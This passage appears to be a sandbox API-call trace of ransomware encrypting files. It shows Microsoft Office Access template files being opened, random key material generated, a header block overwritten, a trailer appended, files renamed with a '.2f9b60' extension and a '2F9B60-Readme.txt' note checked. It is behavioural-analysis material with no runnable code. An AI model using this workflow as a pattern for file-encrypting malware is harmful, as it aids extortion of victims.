[0200.068] sprintf (in: _Dest=0x1cd9f5e2, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.068] RtlInitAnsiString (in: DestinationString=0x39aafce8, SourceString="44c2411d73574952fad695f4c7c76aa7b930a2d32db65cfcc2d3" | out: DestinationString="44c2411d73574952fad695f4c7c76aa7b930a2d32db65cfcc2d3") [0200.069] RtlAnsiStringToUnicodeString (in: DestinationString=0x39aafcb8, SourceString="44c2411d73574952fad695f4c7c76aa7b930a2d32db65cfcc2d3", AllocateDestinationString=1 | out: DestinationString="44c2411d73574952fad695f4c7c76aa7b930a2d32db65cfcc2d3") returned 0x0 [0200.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420607b0 [0200.069] wcscat (in: _Dest=0x431f3bc0, _Source="44c2411d73574" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\44c2411d73574") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\44c2411d73574" [0200.069] wcscat (in: _Dest=0x431f3bc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\44c2411d73574.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\44c2411d73574.2f9b60" [0200.069] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\44c2411d73574.2f9b60", NtPathName=0x39aafc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\44c2411d73574.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205f910 [0238.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f910) returned 1 [0238.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f6db0) returned 1 [0238.114] NtQueryInformationFile (in: FileHandle=0x1b90, IoStatusBlock=0x39aafcf8, FileInformation=0x39aafd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39aafcf8, FileInformation=0x39aafd08) returned 0x0 [0238.114] NtSetInformationFile (FileHandle=0x1b90, IoStatusBlock=0x39aafcf8, FileInformation=0x39aafd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3bc0) returned 1 [0240.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0240.373] FlushFileBuffers (hFile=0x1b90) returned 1 [0240.632] CloseHandle (hObject=0x1b90) returned 1 [0242.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f4e00 [0242.632] wcscpy (in: _Dest=0x431f4e00, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.632] wcscat (in: _Dest=0x431f4e00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4e00) returned 1 [0242.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b19b0) returned 1 Thread: id = 2141 os_tid = 0x14f8 [0139.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt")) returned 0x20 [0139.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt", dwFileAttributes=0x20) returned 1 [0139.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b88 [0139.839] GetFileSizeEx (in: hFile=0x1b88, lpFileSize=0x21b0f860 | out: lpFileSize=0x21b0f860*=25550) returned 1 [0139.839] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x63ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.839] ReadFile (in: hFile=0x1b88, lpBuffer=0x21b0f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21b0f828, lpOverlapped=0x0 | out: lpBuffer=0x21b0f7e0*, lpNumberOfBytesRead=0x21b0f828*=0x4, lpOverlapped=0x0) returned 1 [0139.887] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b970 [0139.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9a0 [0139.887] NtQuerySystemTime (in: CurrentTime=0x21b0f720 | out: CurrentTime=0x21b0f720*=132462177451342000) returned 0x0 [0139.887] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x64e89813 [0139.887] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x6279bf15 [0139.887] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x5c158abc [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x386b1f32 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x6af95868 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0xfcf2d55 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x2b0709ae [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0xbd4f13a [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x27b9e4c2 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x692af5e0 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x565debec [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x4b132900 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x7a8fb44 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x395a0311 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x4b9238e1 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x34028e50 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x877ce38 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x1d4b9318 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x4dff3ed9 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x6a6ef23d [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x2b5d9c3b [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x56989ccb [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x5b4d4579 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x1085be63 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x67b179b4 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x67e96a78 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x526788da [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x11897877 [0139.888] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x3a031bf3 [0139.889] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x33b3b69d [0139.889] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x30e64494 [0139.889] RtlRandomEx (in: Seed=0x21b0f710 | out: Seed=0x21b0f710) returned 0x736b0397 [0139.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9d0 [0139.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba00 [0139.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0139.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4217f200 [0139.902] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.902] ReadFile (in: hFile=0x1b88, lpBuffer=0x4217f200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21b0f780, lpOverlapped=0x0 | out: lpBuffer=0x4217f200*, lpNumberOfBytesRead=0x21b0f780*=0x3c00, lpOverlapped=0x0) returned 1 [0139.990] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0139.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc40 [0140.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bc40) returned 1 [0140.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42195d50 [0140.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc40 [0140.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc10 [0140.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bc10) returned 1 [0140.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0140.002] WriteFile (hFile=0x1b88, lpBuffer=0x42195d50, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21b0f780, lpOverlapped=0x0) [0172.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42195d50) returned 1 [0172.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4217f200) returned 1 [0172.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x422f3b50 [0172.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0172.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0172.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3bb0 [0172.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3bb0) returned 1 [0172.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x422f3bb0 [0172.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b80 [0172.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ac0 [0172.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ac0) returned 1 [0172.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0172.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0172.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c162b0 [0172.986] SetFilePointerEx (in: hFile=0x1b88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0172.986] WriteFile (in: hFile=0x1b88, lpBuffer=0x42c162b0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x21b0f830, lpOverlapped=0x0 | out: lpBuffer=0x42c162b0*, lpNumberOfBytesWritten=0x21b0f830*=0x108, lpOverlapped=0x0) returned 1 [0199.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0199.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0199.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623c0) returned 1 [0199.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0f0e0 [0199.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623c0 [0199.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0199.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263440) returned 1 [0199.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9ebf0 [0199.989] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="2f") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="09") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="a2") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="96") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="e3") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="0b") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="76") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="91") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="79") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="c9") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="6f") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="c8") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="a8") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="3c") returned 2 [0199.989] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="c3") returned 2 [0199.990] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="c6") returned 2 [0199.990] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="8b") returned 2 [0199.990] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="6c") returned 2 [0199.990] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="48") returned 2 [0199.990] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="79") returned 2 [0199.990] sprintf (in: _Dest=0x1cd9ec18, _Format="%c%c" | out: _Dest="a3") returned 2 [0199.990] sprintf (in: _Dest=0x1cd9ec1a, _Format="%c%c" | out: _Dest="7c") returned 2 [0199.990] RtlInitAnsiString (in: DestinationString=0x21b0f8a8, SourceString="2f09a296e30b769179c96fc8a83cc3c68b6c4879a37c" | out: DestinationString="2f09a296e30b769179c96fc8a83cc3c68b6c4879a37c") [0199.990] RtlAnsiStringToUnicodeString (in: DestinationString=0x21b0f878, SourceString="2f09a296e30b769179c96fc8a83cc3c68b6c4879a37c", AllocateDestinationString=1 | out: DestinationString="2f09a296e30b769179c96fc8a83cc3c68b6c4879a37c") returned 0x0 [0199.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a01d0 [0199.991] wcscat (in: _Dest=0x431f3900, _Source="2f09a296e30" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2f09a296e30") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2f09a296e30" [0199.991] wcscat (in: _Dest=0x431f3900, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2f09a296e30.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2f09a296e30.2f9b60" [0199.991] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2f09a296e30.2f9b60", NtPathName=0x21b0f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2f09a296e30.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4205f770 [0227.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f770) returned 1 [0227.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309dc60) returned 1 [0227.058] NtQueryInformationFile (in: FileHandle=0x1b88, IoStatusBlock=0x21b0f8b8, FileInformation=0x21b0f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21b0f8b8, FileInformation=0x21b0f8c8) returned 0x0 [0227.058] NtSetInformationFile (FileHandle=0x1b88, IoStatusBlock=0x21b0f8b8, FileInformation=0x21b0f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3900) returned 1 [0236.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a01d0) returned 1 [0236.400] FlushFileBuffers (hFile=0x1b88) returned 1 [0238.222] CloseHandle (hObject=0x1b88) returned 1 [0241.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202add90 [0241.543] wcscpy (in: _Dest=0x202add90, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0241.543] wcscat (in: _Dest=0x202add90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0241.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0241.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202add90) returned 1 [0241.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0dd0) returned 1 Thread: id = 2142 os_tid = 0x14fc [0139.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt")) returned 0x20 [0139.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt", dwFileAttributes=0x20) returned 1 [0139.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b84 [0139.848] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x39a0fe20 | out: lpFileSize=0x39a0fe20*=19079) returned 1 [0139.848] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x4a83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.848] ReadFile (in: hFile=0x1b84, lpBuffer=0x39a0fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39a0fde8, lpOverlapped=0x0 | out: lpBuffer=0x39a0fda0*, lpNumberOfBytesRead=0x39a0fde8*=0x4, lpOverlapped=0x0) returned 1 [0139.923] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b940 [0139.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba30 [0139.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bac0 [0139.924] NtQuerySystemTime (in: CurrentTime=0x39a0fce0 | out: CurrentTime=0x39a0fce0*=132462177451654000) returned 0x0 [0139.924] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x7459104c [0139.924] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x146a58f7 [0139.924] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x127647d3 [0139.924] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x5c1697e2 [0139.924] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x6884c270 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x33a6b2c0 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x73b44400 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x39b1ca48 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x23c200f6 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x57d1fe1c [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x51ad2f5a [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0xafedb84 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x40754436 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x1e1a4355 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x5f16108d [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x622743c5 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x5dbfbc4b [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x44befff8 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x5abfd1e2 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x31968345 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x34b86064 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x1cffc3b6 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x29e78630 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x4b0938b4 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x50812772 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x1d584d6c [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x3146a847 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x3aca0779 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x5ac5a6e9 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x4ede9b86 [0139.925] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0x192675c3 [0139.926] RtlRandomEx (in: Seed=0x39a0fcd0 | out: Seed=0x39a0fcd0) returned 0xb64f22 [0139.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205baf0 [0139.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0139.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb20 [0139.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0139.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bac0) returned 1 [0139.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b940) returned 1 [0139.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4218a920 [0139.938] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.938] ReadFile (in: hFile=0x1b84, lpBuffer=0x4218a920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39a0fd40, lpOverlapped=0x0 | out: lpBuffer=0x4218a920*, lpNumberOfBytesRead=0x39a0fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0140.004] SetFilePointerEx (in: hFile=0x1b84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0140.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bc10 [0140.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bc10) returned 1 [0140.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42199960 [0140.005] RtlAllocateHeap 